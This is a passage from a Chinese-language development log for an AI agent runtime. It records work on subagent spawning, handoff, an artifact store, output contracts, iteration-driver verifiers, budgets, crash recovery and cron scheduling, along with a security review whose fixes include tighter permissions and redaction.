正常取消路径。**per-attempt child dir** + (`sub/-a`)避免重试往死 child 的 journal 续写。 +- **spawn 无墙钟**(child 由自身 max_turns/budget 约束,120s 会误杀)。 +- **CLI**:SpawnGate 入 buildPipeline;`siblingSpecResolver`(父 spec 同目录 + `.yaml`)接 run 路径;resume 无 resolver(限档:resumed run 内再 + spawn 报 model-visible 错,spec 目录未 journal——S5 出口 review 复查)。 + +**验证**:e2e(目录冻结入 prefix、advertise、child journal 独立、report 回 +父、child usage 结算入父账、预留释放);无越权(parent deny rule 绑 child, +文件未被改,child journal 有 deny);mode 不上扬两例(plan 不能 spawn、 +child spec bypass 被忽略);预算 min 聚合(逐事件 replay settled+reserved +≤上限、allowance=4900 正确、终账 165);depth/fanout caps(达 depth 上限 +deny 提 depth、同批第二 spawn deny 提 fan-out、denied 不计数);whitelist +(名单外 model-visible 错、无名单不 advertise)。tool registry golden + +spec 错误 golden 随注册表扩展更新。 + +**Decisions**(除上述内嵌):shared scripted provider 顺序消费 fixture +(spawn 阻塞使 parent→child→parent 步序确定)是测试的关键构造;child 不 +继承 MCP face(SetAllowed 共享突变危险,S5.1 记档过)与 hooks(父 workspace +语义,记档)。 + +## S5.4 handoff + pub/sub — DONE + +**handoff = 移交后退出;pub/sub = blackboard topic,读入 journal 即持久。** + +- **handoff_agent tool**(execute class,与 spawn 同 advertise 规则/同 + SpawnGate caps/同 allowance 预留/同 buildSpawnRun 执行路径——successor 就是 + 树上的一个 child run,复用 SpawnRequested/SubagentCompleted 事实,不新增 + event 类型)。区别在 loop 语义:**decide() 见 handoff_agent 的非错误结果 + → doEnd{reason:"handoff"}**——纯 fold 判定,resume 自然安全;父 run 以 + RunEnded{handoff} 终结,不再行动。失败/被拒的 handoff 是 error 结果, + run 照常继续(控制权只在成功时转移)。 +- **`internal/blackboard`**:Board(mutex 化 topic→有序 Note store,全局 + seq 保跨 topic 因果序;Read 返回副本)。**store 本身 ephemeral**(生命周期 + = root run 进程);持久性走 event-log doctrine——**影响 run 结果的是读**, + read_notes 结果落读者自己的 journal。没人读过的 note 丢了也没影响过谁。 +- **publish_note(edit class)/ read_notes(read class)tools**:发布者 + 身份 = spec name(协作语义身份);Board 树内共享(childLoop 传递),root + 在 spec.agents 非空时 ensureBoard 创建(Run 与 Resume 都建,face 一致; + resume 后 board 为空——ephemeral 语义,记档)。 +- **advertise 规则**:handoff/spawn 按 spec.agents;blackboard tools 按 + `Board != nil || agents 非空`(叶子 child 继承 board 也可协作)。 +- **偏离记档**:执行包"pub/sub 走 L0 kernel bus"——v0 Board 为纯同步 + store,**不过 bus**:CLI run 路径今日无存活 bus 实例,且读需同步;S6 + daemon 化(notifier/frontend actor)时 Publish 加 bus 镜像(ephemeral + topic),store 仍是读回真相。§0.5 偏离条款记录于此。 + +**验证**:blackboard 单测(序/副本/50 并发唯一 seq);handoff e2e(父 1 turn +即终、reason handoff、fixture 全消费证明父未再行动、successor 独立 journal +completed、usage 结算入父账、RunEnded{handoff} 为末事件);handoff 失败继续 +(未知 agent → error 结果 → 父下 turn 自己完成);协作 e2e(父 publish → +child read 见父 note 且**durable 在 child journal** → child publish → 父 +read-back 双 note 有序带作者);无协作 face 不 advertise。registry golden +扩到 8 tools。 + +## S5.5 ArtifactStore — DONE + +**SnapshotStore 模式复用为 CAS(本 stage 教义点)+ blob 先于 event 硬线。** + +- **`store.ArtifactStore`**:content-addressed(ref = `sha256-`,同 + 内容同 blob 幂等)、opaque ref、per-stream 1-based 密集版本链、 + `manifest.json` 全量原子重写;blob 与 manifest 均走 snapshot 同款 + tmp+fsync+rename(0600/0700)纪律。API:Put/Get/Publish/Latest/Streams。 + Get 拒绝路径逃逸 ref。 +- **`ArtifactPublished{stream, version, ref, bytes, source}`** event(source + = tool|epilogue,后者 S5.6 用);fold 进 `Run.Published map[stream]→ + latest version`(**copy-on-write**——Apply 纯函数,map 写前克隆;S5.6 + contract 检查的输入)。 +- **publish_artifact tool**(edit class,**spec.tools 显式列入才 advertise** + ——不同于 spawn/blackboard 的 face 派生,交付物工具由 spec 作者选择, + 避免所有既有 face/golden 扰动)。Run 闭包:store.Publish(落盘 fsync) + → **crash.Point(after_blob_before_event)** → appendE(ArtifactPublished)。 + 磁盘失败是 harness error(重试策略接管),参数错误 model-visible。 +- **树共享**:root 在 Run/Resume lazy 打开 `/artifacts`,childLoop + 传递——child 发布进 root store,ref 树内可解析;fact 落 child 自己的 + journal(它的 run 发布的)。 +- **新 crash point `after_blob_before_event`**(注册表 + pinned 测试更新, + S5 首个新点)。 + +**验证**:store 单测(Put/Get 往返、同内容同 ref、版本链 1/2 与跨 stream、 +Latest/Streams、reopen 持久、空 stream 拒、逃逸 ref 拒);**崩溃注入证明 +硬线**(子进程在 blob 落盘后、event 前被杀 → blob+manifest 可读为孤儿、 +journal 无 ArtifactPublished、fold 干净——孤儿而非悬空);e2e(双版本、 +journaled ref 全部可解析、fold Published=2);树共享(child 发布 → root +store 可解析、fact 在 child journal)。registry golden 扩到 9 tools。 + +## S5.6 outputs contract — DONE(2.16 epilogue auto-publish 槽位填实) + +- **spec `outputs:`**(DESIGN 形状:name/path/required): + `OutputSpec{Name, Path, Required}`。 +- **epilogue 槽位换体不换序**:hook 签名扩为 + `run(ctx, *Loop, *driveState, AppendFunc, *string reason)`——槽位可**改写 + reason**(contract 降级)但不得增删/重排兄弟槽;runEpilogue 转为 Loop + 方法(auto_publish 需要 Artifacts/WS/emit)。 +- **auto_publish 语义**:仅优雅收尾(completed/max_turns)执行——error/ + canceled/handoff/blocked 不欠交付物。逐 output:run 内已显式 publish + (fold Run.Published)→ 满足,不重复发布;否则有 Path 且 workspace 文件 + 存在 → 自动 Publish(blob 先于 event 同款纪律 + crash point)+ + `ArtifactPublished{source:"epilogue"}`;仍缺且 Required → 收集。 +- **缺 required → `contract_violation`**:reason 改写 + KindError(缺失 + stream 列表);RunEnded 落改写后 reason。**parent error 结果**: + buildSpawnRun 见 child reason==contract_violation → 父 tool result + IsError=true(交付物是委托的意义所在),loop 继续由父模型定夺(DESIGN + 原文"渲染为 parent 的 error 结果,loop 继续")。 + +**验证**:workspace 文件自动发布(source=epilogue、ref 可解析、事实先于 +run_ended);显式 publish 满足合约(仅 1 条发布事实,无 double-publish); +缺 required → contract_violation + KindError + RunEnded 载新 reason, +optional 缺失不违约;child 违约 → 父 error 结果携 reason、父 loop 继续、 +child journal reason=contract_violation。epilogue 既有三测更新签名。 + +## S5.7 审批载荷 payload_ref — DONE(3.5 预留兑现) + +- **`publishApprovalPayload`**:exit_plan_mode 的 ask 在 journal + ApprovalRequested **之前**把 plan 文本 Publish 到 `plan` stream(blob 先于 + event + crash point),`ApprovalRequested.PayloadRef = ref`——审批记录 + **精确指向它审的是哪一版**(DESIGN 原文)。ArtifactPublished 加 source + `"approval"`。其余 ask 载荷照旧内联(阈值化通用载荷留后续,记档)。 +- **contract(交付物)与协调对象(plan)分离**:plan 是 `plan` stream 的 + artifact 版本链,审批是协调动作——两条路径不混(stage 教学点)。 + +**验证**:`TestPlanApprovalFullFlow` 全循环 发布→审→**拒(附理由)**→v2→ +**批**:plan stream 两版本内容各异;两条 ApprovalRequested 的 payload_ref +分别钉住 v1/v2 的 ref;deny 带理由、approve 后 mode plan→default;3 turn +completed。 + +## S5.8 artifact 输入 — DONE(materialize activity) + +- **spawn_agent 参数扩 `inputs: [{ref, path}]`**(schema 更新); + `resolveSpawnTargetFull` 在 child 启动前**校验每个 ref 可解析**——悬空 + ref 是父模型的错误(model-visible,child 不启动)。 +- **journal 进 child RunStarted**:`RunStarted.Inputs []ArtifactInput` → + fold `Run.Inputs`;child(或将来 CLI)持 `Loop.Inputs`。 +- **materialize activity**(DESIGN 原文"in-doubt 语义随之而来"):ID 固定 + `materialize`、Kind tool、**Idempotent=true**(同 ref 同 bytes,重跑收敛) + ——Started/Completed 走 ActivityExecutor 正常 journal;fold 在其 + ActivityCompleted 上置 `Run.Materialized`。**Run 与 Resume 都在 drive 前 + 检查**:有 Inputs 且未 Materialized → 执行(崩溃在 RunStarted 与 + materialize 之间 → resume 补跑;幂等故安全)。写入:WS.Resolve(路径边界) + + MkdirAll + WriteFile。 +- CLI `--input` flag 留后续(spawn 路径已满足编队故事),记档。 + +**验证**:e2e(parent publish → 以 ref spawn → child journal 中 materialize +completed **先于** turn 1(seq 断言)、fold Materialized/Inputs、child +read_file 读到物化内容——ref 由 CAS 决定论预先计算注入 fixture);悬空 ref +拒绝(model-visible、无 child 目录、父继续)。 + +## S5.9 inspect 子 agent 树 — DONE + +- **`buildInspectTree`**:递归打开 child journal——SubagentCompleted 的 + ChildSession 尾缀 `-a` 映射 `/sub/-a`;损坏的 child + journal 跳过不沉没父视图。`inspectReport` 加 `Children []childReportRef + {call_id, agent, session, reason, report}`(递归)与 + `Artifacts []artifactReport{stream, version, ref, source}`。 +- **渲染**:`CHILD [reason] (session)` 后缩进递归渲染 + child 全报告;`ARTIFACTS` 段列 `stream@vN ref (source)`。`--json` 输出 + 嵌套结构。 + +**验证**:`TestBuildInspectTree`(盘上父子 journal → 递归 report、child +状态、artifact 列、渲染含嵌套 CHILD 与 report@v1)。 + +**S5 模块 1–9 全部完成**。下一步:S5 acceptance 场景包(accept --stage 5, +对应完成标志:s5_fleet / s5_plan_approval / s5_no_escalation / s5_budget_seal) +→ S5 出口对抗式 review。 + +## S5 acceptance 场景包 — DONE(accept --stage 5 全绿) + +四场景对应完成标志逐句(0.6 框架,嵌入 internal/accept/scenarios/s5/): +- `s5-01-researcher-fleet`:parent + 2 子 agent 编队 → 两个 child journal + 存在且合法、report.md 产出、outputs contract 满足(exit 0)、artifact + manifest 含 report。 +- `s5-02-plan-approval-payload`:plan mode → exit_plan_mode(plan 文本)→ + APPROVE=always 批准 → 转出 plan mode 执行 bash;manifest 含 plan stream、 + events 含 payload_ref。(拒→v2→批全循环由单测 TestPlanApprovalFullFlow + 覆盖——EnvApprovals 无法脚本化序列应答,记档。) +- `s5-03-no-escalation`(否定):parent deny rule 绑 child,文件未被改。 +- `s5-04-budget-seal`(否定):同 turn 双 spawn,预算 min 聚合 + 整额预留 + 使第二个被 BudgetGate 拒——仅 1 个 child 目录。 +stage 1/2/3 acceptance 回归全绿。 + +**踩坑记档**:①scenario spec 必须显式 `permissions: [{action: allow}]` +——execute-class 默认 ask + EnvApprovals 兜底 deny(loop-mode fail-closed +正确行为,但场景作者易忘);②必须显式 `max_tokens`(缺省值的 LLM 预留 +会瞬间打爆小预算)。③观察:CLI 渲染对 scripted provider 的 text 输出重复 +一次(delta + message 双打印),疑 S4.1 renderer 去重逻辑不含 scripted +路径——记入 S5 出口 review 待查。④S4 未补自己的 acceptance 场景(横切 +纪律要求 stage 收口前场景化)——S5 review 一并裁定是否回补。 + +## Stage 5 出口对抗式 review — 三镜头(correctness/concurrency · security · contract/DESIGN) + +四硬线核实:①权限交集**行为上成立**(Evaluate 只紧不松:deny 短路、ask +定档、allow 无操作——child allow 无法降级 parent ask;mode 经 effectiveMode +取 live mode,静态 gate mode 不构成逃逸);②树预算 min 聚合/整额预留/深度 +扇出 caps 数学成立(但见修复 2);③blob 先于 event 三路径 + 崩溃注入在; +④prefix 稳定完全合规。MCP 不下传 child、workspace 逃逸被 Resolve 拦、 +blackboard 无死锁、materialize 幂等恢复正确、epilogue 无重入,均 clean。 + +**修复(9 项)**: +- **[P0] ArtifactStore manifest RMW race**:树共享 store 下并发 Publish 丢 + 版本/固定 tmp 路径互相截断。修:store 级 mutex(Publish/Latest/Streams) + + CreateTemp 唯一 tmp 名;并发 24 发布回归测试(密集版本链断言)。 +- **[P1] 失败/被取消 child 的 usage 不入父账 → 失败路径可击穿树预算**: + child.Run abort 返回零值 RunResult。修:`childFoldUsage` 从 child journal + 读实耗——错误路径入 SubagentCompleted + activity usage 结算;取消路径经 + **ActivityCancelled 新增 Usage 字段**(加性)结算入 fold。回归:child + 烧 600 tokens 后 abort → 父账 615。 +- **[P1] recorder fixture 并发 append race**:Recorder 加 mutex(Complete + append + WriteFixture);scripted provider `next` 步进原子化(兄弟并发时 + 步骤认领不撕裂;哪个兄弟拿哪步在真并发下本就不定,确定性 fixture 应 + 顺序 spawn——注释记档)。 +- **[P1] 兄弟审批 stdin 竞争 + 身份缺失**:ttyApprovals 加 mutex(一次一 + prompt,答案不再可能喂错请求);`ApprovalRequest.Agent`(spec name + + session)新增并渲染——人能分辨谁在要权限。跨进程 correlation 路由仍属 + S6(执行包已记)。 +- **[P1 contract] materialize 不过管线**:每个 input 以 edit-class effect + 逐个 adjudicate(`eff-materialize-`,args 带 path/ref)——path-scoped + deny rule 现在绑定 spawn inputs 写入;deny = fail-closed。回归测试。 +- **[P2 security] artifact CAS 未脱敏**:publish_artifact 内容、epilogue + auto-publish 文件、plan payload 三 sink 全部过 redact.FromEnv() 再 Put + ——CAS 不再是 session 层唯一未脱敏面。 +- **[P2] crash-replay 重复 manifest 版本**:Publish 对链尾同 ref 去重 + (返回既有版本)——resume 重发布收敛,版本号与 journal 不再漂移。 +- **[P2] 同 turn 多 handoff 并发执行**:`Effect.HandoffPending` + SpawnGate + deny("control already transferred")——控制权转移在批内独占;回归测试。 +- **[contract] child 更窄 mode 被无声取消**:`narrowerMode`(plan < default + < acceptEdits < bypass)——child spec 可比 parent 更窄(plan child under + default parent 保持 plan),不上扬不变;bypass 仍被 LoadSpec 拒。回归测试。 +- 另:event 样本补齐 S5 新字段(RunStarted 全块/Inputs、ApprovalRequested + payload_ref/est_tokens、ActivityCancelled usage)。 + +**台账更正与裁定**: +- **权限冻结"物化为数据进 child RunStarted"未实现**——正式记为对 PLAN + 硬线 1 半句的偏离:行为等价(gate 链只紧不松、gates 今日不可变), + 但交集未成为 journaled 数据,child journal 无法独立回答自己的权限面; + 物化留 S6(daemon/跨进程时必须做)。child 目录不在 sessions 顶层、 + 不可独立 resume,故 latent。 +- **更正 S5.3 台账**:child 经继承的 gate 链**会**执行 parent 的 + pre-tool hooks(hook.Gate 在 gates 里);未继承的只是 post-tool hooks + (Loop.Hooks)。原"child 不继承 hooks"表述不实。 +- **handoff 实现为受约束 child run**:与 PLAN"非 spawn 子树"措辞的出入 + 记为解释性裁定——"非 spawn"指控制转移语义(父不再行动、结果即父的 + 结果),实现复用 child-run 基建;深度上限约束 handoff 链(A→B→C 在 + cap 处 deny)是接受的边界。 +- **场景收窄记档**:s5-02 只走 approve 路径(EnvApprovals 序列语法记入 + S6 backlog);s5-03 只覆盖 deny-rule 一腿(mode/tool 面收窄由单测覆盖); + **S4 场景包缺口裁定:S6 kickoff 时回补**。 +- **允许量边际超支**(est-vs-actual 单次调用缺口)记为继承的 S3.7 语义, + min 聚合在边际是软的;S6 复审是否需要 per-call 实耗预扣。 +- resumed run 无 SubSpecs 的 spawn(model-visible 错)维持 v0;渲染重复 + ("researched"×2,delta+message 双打印)确认为 S4.1 renderer 对 scripted + 的已知美观问题,记 S6 backlog。 + +**Stage 5 正式关闭**。下一步:S6 kickoff refinement。 + +## S6 kickoff refinement — DONE + +PLAN.md 新增 **S6 执行包**。四条跨切硬线:①订阅不改结果(attach 补读+ +订阅、detach 零事件)②command 幂等(Envelope.id = hash(driver_id,n)、 +journal-before-send)③notifier 自有去重 stream + 通道文档化 carve-out +④driver 纯 fold 不碰 LLM/workspace、fresh child run、树预算根。 + +关键决定:**实施序倒排**(还债 → background/tasks → driver goal → +scheduler+loop → daemon → notifier → 壳)——daemon 是最大风险块,纯逻辑 +先落稳;goal 完成标志不依赖 daemon。**先还 S5 三笔小债**(S4 场景回补、 +渲染重复、EnvApprovals 序列语法)。新 fold sub-state 仅 tasks(9→10); +driver/notifier 各自独立 stream 不入 run 版本集;后台任务复用 Activity +事件族不新设 Task 事件。S5 全部回访项已分配兑现位置(权限物化与审批 +路由挂 daemon 模块)。cut line 维持:best-of-N 与 HTTP/WS 可延后。 + +三文档一致性:执行包只细化 PLAN,引用 DESIGN §运行形态/§scheduler/ +§IterationDriver/§Observability 原文口径(fresh child run、可丢 delta +doctrine、carve-out、policy 重试≠恢复),与 STAGES Stage 6 范围/完成 +标志一致,未动 DESIGN 不变量。 + +下一步:还债①——S4 acceptance 场景包回补(scenarios/s4/:streaming/ +interrupt、并行 tool call、compaction、finish reason 之可脚本化子集)。 + +## S6 还债① — S4 acceptance 场景包回补 — DONE + +`scenarios/s4/` 四场景(accept --stage 4 全绿):s4-01 并行 tool call +(同 turn 双 bash 副作用都落地);s4-02 compaction(低阈值 → +context_compacted 落盘、run 完成);s4-03 malformed 重试(记档 + 重试后 +recovered);s4-04 blocked 收尾(文本保留、run_ended{blocked}、exit 1 +——非 completed 一律 exit 1 是既有 CLI 语义,场景以 `|| test $? -eq 1` +断言)。**steering/interrupt 不可场景化**(需向进程发 SIGINT,时序脆), +维持单测端到端覆盖,记档。 + +## S6 还债②③ — 渲染重复修复 + EnvApprovals 序列语法 — DONE + +- **还债②**:textRenderer 加 `sawDelta`(per-turn)——delta 已流出的文本 + 不再被 KindMessage 二次打印(delta 优先、message 兜底);scripted 走 + delta 路径,原注释假设不成立,已修。手动验证 fleet 输出重复消失。 +- **还债③**:`AGENTRUNNER_APPROVE` 支持序列语法 + `approve|deny[:reason],...`(逗号分隔,耗尽重复最后一项;always/never + 语义不变)。序列位置是 resolver 状态——EnvApprovals 改指针接收器 + (mutex+idx),`ensureApprovals` 在 Run/Resume 钉一树一实例(childLoop + 共享 parent resolver,序列跨树消费)。 +- **s5-02 补全为拒→v2→批全流程场景**:序列 `deny:needs more detail,approve` + → v1 被拒(理由入 journal)→ v2 重审获批 → 转出 plan mode 执行;断言 + manifest plan stream、payload_ref≥2、拒绝理由在 events。0.6 "完成标志 + 逐句可执行"缺口闭合。 +- 全量 check + race + stage 1-5 acceptance 回归全绿。 + +## S6 模块① — background effects + tasks sub-state — DONE + +**新 fold sub-state `tasks`(version 1,版本集 9→10)**:`ActivityStarted +{Background:true}` 折出 in-flight task 集,同一 event 当场把 handle +(`{task_id, status: running}`)配为 tool_result——配对不阻塞 loop。终态 +event(Completed/Failed/Cancelled)从 tasks 移除,并把结果渲染成**新的 +user-role 消息**(`[background task ]\n`)进 conversation, +下一 turn 可见。`internal/agent/task.go` 为 ephemeral runtime(cancel 句柄 +map + done channel);settle 只在 drive goroutine 落 journal(fold 单写者 +不破)。内置 tool `task_output`(read-class,v0 返回 running 状态,live tail +待流式工具)/`task_kill`(execute-class,协作取消);bash 带 `background: +true` 即走后台。`bash` 在 tools 时 face 追加这两个管理 tool。epilogue +quiesce 槽位填实:`on_run_end=await` 静默等全部 task 终态,默认 cancel +协作取消,均在 `RunEnded` 前 settle。 + +**决策台账 — WAITING_TASKS 与 on_run_end 的调和**(触发不变量调和,非 +代码绕行): +- **现象**:`decide()` 只见 fold,无法区分「模型 end_turn 想等 task」与 + 「模型 end_turn 想走人」——两者都是无 tool call 的 end_turn + 在飞 task。 + `TestBackgroundTaskCancelledAtRunEnd`(默认 cancel、sleep 30)原会 park + 在 WAITING_TASKS 空等 30s,与「cancel = fire-and-forget」的默认语义相悖。 +- **涉及口径**:DESIGN §effect 无条件「end_turn+活任务 → WAITING_TASKS」 + vs §run 收尾「按 on_run_end quiesce(await 静默等 / cancel 协作取消)」—— + cancel 默认在自然收尾从不生效,与「默认即 cancel」矛盾。 +- **备选**:(A)自然收尾恒 park,on_run_end 只管强制结束(max_turns/error) + ——需把两个 run-end 测试改写成 max_turns、违背作者自然 end_turn 的意图; + (B)自然收尾按 on_run_end 分流——await 才 park,默认 cancel 直接收尾由 + quiesce 取消。 +- **裁定:取 B**(最贴合默认 cancel 的 fire-and-forget 与测试作者意图)。 + `decide(s, maxTurns, onRunEnd)`:无 call + 活任务 + `await` → doWaitTasks; + 否则 → doEnd(completed)。**强制结束(max_turns)去掉活任务 park,一律 + doEnd 交 epilogue quiesce 按 on_run_end 处置**,绝不为残留 task 阻塞 loop。 + DESIGN §effect 相应改为 on_run_end 分流口径(三文档一致)。spec 校验 + `on_run_end ∈ {"", cancel, await}`。`TestBackgroundTaskHandleAndOutcome` + 设 `await` 以看到 outcome 回流(默认 cancel 会取消 task)。 +- **未接**:await park 的 durable timer 兜底(DESIGN 要求)留待 daemon + 模块(timer 派生索引);当前靠 ctx 取消逃逸。 +- 四测试(handle/outcome、cancel-at-end、task_kill、await-at-end)全绿, + 全量 check + race 通过。 + +## S6 模块② — IterationDriver goal mode(骨架 + command verifier + 停滞)— DONE + +新包 `internal/driver`:driver 是独立 actor,自有 EventStore(child runs +在其 `sub/iter-N/`)与纯 fold(iterations、verdicts、BestIter、status)。 +**统一事件族进 event.Registry**:`IterationScheduled/Launched/Completed/ +Skipped`、`DriverCompleted{reason}`——但属 driver 自有 stream,**不入 run +fold**:新增 `event.DriverStream` 集,run 侧 `TestApplyCoversRegistry` 跳过 +之,driver 侧 `TestFoldCoversDriverStream` 对称兜底(每个类型必在某处折叠)。 + +**goal mode**(schedule=immediate + verifier 必填):`Driver.Run` 逐迭代 +——journal `IterationScheduled` → `IterationLaunched`(journal-before-send) +→ 经 `ChildFactory` 起 fresh child run(同 spec、共享 workspace、各自 +journal)→ verify → journal `IterationCompleted{verdict}`。satisfied → +`DriverCompleted{satisfied}`;超 max_iterations → `{max_iterations}`; +patience 轮无改善 → `{stalled}`(纯 fold:best 之后无改善的完成迭代计数); +child 崩 → `{child_failed}`(on_child_failure v0=stop);ctx 取消 → +`{stopped}`。BestIter 按 verdict.Score 最大(并列取先)。 + +**command verifier**:bash-class,`metric_regex` 捕获组 1 → float score +(≥threshold 过),否则 exit 0 过。verifier 是 driver 配置(可信,非模型 +选择的 effect),v0 直接过 executor 跑;**过四关卡管线的 verifier 化留待 +后续 refinement**。carry v0 = child 末条 assistant 文本摘录(≤512B,已 +redact),`carry_ref`(ArtifactStore 全量)留待 stall 呈现步骤。 + +**决策/记档**: +- **fresh child = ChildFactory 注入**:driver 只管迭代逻辑与 journal- + before-send,child 装配(provider/pipeline/budget/workspace)交工厂—— + scripted 测试与真 provider 同一 driver 逻辑;scripted cursor 每迭代新建 + 自然满足「fresh run 同 spec」。 +- **verify 聚合**:多 verifier 全过才 satisfied,聚合 score 取 min(首个 + seed,避免单 metric>1 被 clamp);首个失败 gate 定 verdict。 +- **未接**:budget 树根(reserve-at-launch/settle)、on_child_failure + retry/surface、on_reserve_failure、llm_judge/human verifier、resume + (in-flight 迭代重跑)、loop mode——依次后续步骤。 +- 四 driver 测试(satisfied@3、max_iterations、metric、stalled)+ 事件 + round-trip + 覆盖对称测试全绿,全量 check + race 通过。 + +## S6 模块②(续)— driver 树预算根 — DONE + +driver 是**树预算根**(DESIGN):reserve-at-launch / settle-at-completion。 +新 `DriverSpec.Budget{MaxTotalTokens}`;fold 新增 `State.SpentTokens`——每 +`IterationCompleted` 累加 `Usage.Billed()`(纯 fold,resume 精确恢复预算 +位置)。每迭代启动前 `reserve(st)`:allowance = min(树剩余, child spec cap) +(0=无限);剩余 ≤ 0 → `DriverCompleted{budget}`(不再启动做无用功的 +child)。`ChildFactory` 签名加 `budgetTokens`,工厂据此钳制 child(测试 +工厂 pass-through,child 级 budget 强制由 agent 预算测试覆盖,driver 测试 +只隔离 driver 侧 reserve/settle/stop)。 + +测试:`TestDriverBudgetStop`(budget 250、child 150/迭代 → 2 迭代后 spent +300 ≥ 250 停,reason=budget)+ `reserve()` 表驱动单测(7 例:无限/child +紧/树紧/耗尽/超支)。全量 check + race 通过。 + +**未接(后续步骤)**:on_reserve_failure(loop mode 的 skip 语义)、 +llm_judge/human verifier、carry_ref 入 ArtifactStore、resume。 + +## S6 模块②(续)— on_child_failure 策略 — DONE + +`DriverSpec.OnChildFailure{Mode, Max}`(区分 child RUN 失败 vs 验证未过): +- **stop**(默认):child 崩 → `DriverCompleted{child_failed}`。 +- **surface**:失败迭代照记 `IterationCompleted{error}`(带 child 真实 + spend,预算不漏账),但驱动继续下一迭代(受 max_iterations/budget 界)。 +- **retry{max}**:失败在 `runIteration` 内**就地重试** max 次,每次 attempt + 独立 store(`sub/iter-N` 首跑、`sub/iter-N-aM` 重试),ctx 取消不重试; + 耗尽仍失败则落回 stop→child_failed。**backoff 延后**(需 scheduler 的 + durable timer,记档)。 + +失败判定用 `errs.Internal`(fixture exhausted)非 retryable → child 快速 +失败不卡 fake clock。新增 `childSpent(childDir)` 折 child journal 取真实 +spend(error 路 RunResult 为零)。三测试:stop(空 fixture→child_failed@1)、 +surface(空 fixture×3→max_iterations,三条 error 迭代)、retry-recovers +(计数工厂:attempt 1-2 空 fixture 失败、attempt 3 workFixture 成功→ +satisfied@1,三 attempt journal 皆在盘)。全量 check + race 通过。 + +## S6 模块②(续)— llm_judge + human verifier — DONE + +verifier 三态齐(command 已有): +- **llm_judge**:`Driver.Judge` provider 单次打分调用(非 agent loop)。 + system=rubric + 严格 JSON 指令,user=child report;`CollectTurnStreaming` + 收文本 → `firstJSONObject`(容忍散文包裹)→ 解析 `{score,pass,reason}`, + 显式 pass 优先否则 score≥threshold。Judge nil / 调用失败 / 不可解析 → + gate 失败(绝不静默放行)。 +- **human**:复用 agent `ApprovalResolver`(ask 路径,挂几天免费); + `Driver.Approvals` nil → `EnvApprovals` fail-closed;approve→pass。 + rubric 作问题,child report 摘录作证据。 + +`VerifierSpec.Rubric` 新字段。三测试:llm_judge(判 0.5 拒→0.9 过, +satisfied@2、BestIter=2、散文包裹 JSON 解析)、human approve(satisfied@1)、 +human deny(never satisfied → max_iterations@2,stub resolver 免 env 耦合)。 +全量 check + race 通过。 + +**driver goal mode 至此功能完整**(五终态 + 三 verifier + 预算根 + 失败 +策略 + 停滞)。未接:carry_ref 入 ArtifactStore、driver resume(in-flight +迭代重跑)、loop mode(→ scheduler 模块)。 + +## S6 模块②(续)— carry 文档入 ArtifactStore — DONE + +`Driver.Artifacts` (S5.5 CAS,nil→仅内联):每完成迭代把 child 全量 report +publish 到 `carry` stream(逐版本链),`IterationCompleted.CarryRef` 留 ref、 +`Carry` 留 ≤512B 摘录(DESIGN:carry 文档存 ArtifactStore,只带 ref+短摘录)。 +redact-before-Put。`TestDriverCarryToArtifactStore`:满足后末迭代 CarryRef +非空、`cas.Get(ref)` 解析回 report 文本。全量 check + race 通过。 + +未接:driver resume(in-flight 迭代重跑,涉 in-doubt 语义)、loop mode +(→ scheduler 模块③)。 + +## S6 模块②(续)— driver resume — DONE + +`Run`/`Resume` 共享 `drive(ctx, st, appendE, startN)` 循环(仿 agent +Run/Resume)。`prepare()` 提取校验 + 单写路径。**Resume**:折 driver +journal → ended 直接返回记录结果;否则**再推导已决终态**(崩溃可能落在 +定终态的 IterationCompleted 与 DriverCompleted 之间):末完成迭代 verdict +过 → finish{satisfied};stalled → finish{stalled}(max_iterations/budget +在 drive 顶重查,无须此处)。startN = 已完成前缀 + 1。 + +**drive 幂等**:`st.at(n)` 已在 fold 则不重发 Scheduled/Launched(append- +only 跨崩溃幂等)。**runIteration 恢复 in-flight child**:attempt 1 的 +store 若有旧 events(仅 attempt 1 可能带,重试皆新目录)——child 已 ended +则 `settledChild` 从其 fold 结算(崩在 child 结束与 IterationCompleted +之间),否则 `child.Resume`(child 自身 in-doubt 纪律保正确),而非重复 +fresh run。 + +三测试:resume-ended(不追加事件)、re-derive-satisfied(手造 pass 迭代 ++ 无 DriverCompleted → 补终态、不发冗余 iter 2)、resume-continues(手造 +fail 迭代 → 续跑 iter 2 达标)。`journal()` 辅助合成崩溃残留。全量 check ++ race 通过。 + +**driver 模块② 至此完成**(goal mode 全功能 + 崩溃恢复)。下一步: +scheduler + loop mode(模块③)。 + +## S6 模块③ — loop mode:interval schedule — DONE + +driver 支持 loop mode(`schedule: interval`,`interval: "5m"` Go duration): +verifier 选填,按节奏迭代至 max_iterations/budget/cancel(finish_series 待 +self_paced 步骤)。`drive` 加 `loopMode` 分支:iteration 1 即刻,之后每迭代 +`waitForTick`(`Clock.WaitUntil(now+interval)`)——cancel 于等待中 → stopped; +loop mode 不因 verdict.Pass/stall 停(那是 goal mode 语义)。verifier 存在 +才 verify(loop 的 verifier 是质量闸非终止条件)。`prepare` 校验放行 +interval 并校 duration。 + +两测试:back-to-back(interval="",无 verifier → 3 迭代 max_iterations、 +verdict 均非 pass)、interval-cadence(FakeClock + goroutine:iteration 1 +即刻、2/3 各 park 于 interval,`waitParked` 靠 `Waiters()` 同步后 +`Advance(1m)`;**关键**:cadence 测试用纯文本 child 避免 bash 120s 超时 +timer 污染 Waiters())。全量 check + race 通过。 + +未接(模块③续):cron schedule(五字段自解析)、self_paced(schedule_next +/finish_series 内置 tool + durable timer)、overlap(skip/coalesce/ +interrupt)、scheduler actor(RunAgent command)。 + +## S6 模块③(续)— cron schedule + overlap(skip/coalesce)— DONE + +**新包 `internal/cron`**:五字段最小自解析(PLAN 预授权二选一,决策:自 +实现,无依赖)。支持 `* , - /`、数字、`n/step`(vixie:n..max)、dow 7≡0、 +dom+dow 双限制 = OR(标准 cron)。名字(MON/JAN)、秒、宏、L/W/# 明确 +不支持——parse 时响亮报错。`Next(t)` 逐分钟扫,4 年 lookahead 界定 +不可满足(如 2/31)→ (zero, false)。13 例 Next 表测(含闰年 2/29、 +边界严格 after)+ 12 例 parse 错误 + n/step。 + +**driver cron cadence**:`schedule: cron` + `cron: "0 3 * * *"` spec 字段; +`awaitTick` 取代 waitForTick——interval 首迭代即刻(固定延迟,顺序执行 +天然无 overlap);**cron 每迭代(含首个)等绝对 tick**(22:00 启动的 +nightly 首跑在次日 03:00)。`lastTick`/`cronSched` 为 runtime 态非 fold +(绝对时刻可从 clock 重算)。 + +**overlap**:迭代跑过点后——`skip`(默认):每个错过的 tick 消耗一个 +迭代号,journal `IterationSkipped{reason: tick 时刻}`(不沉默),fold 记 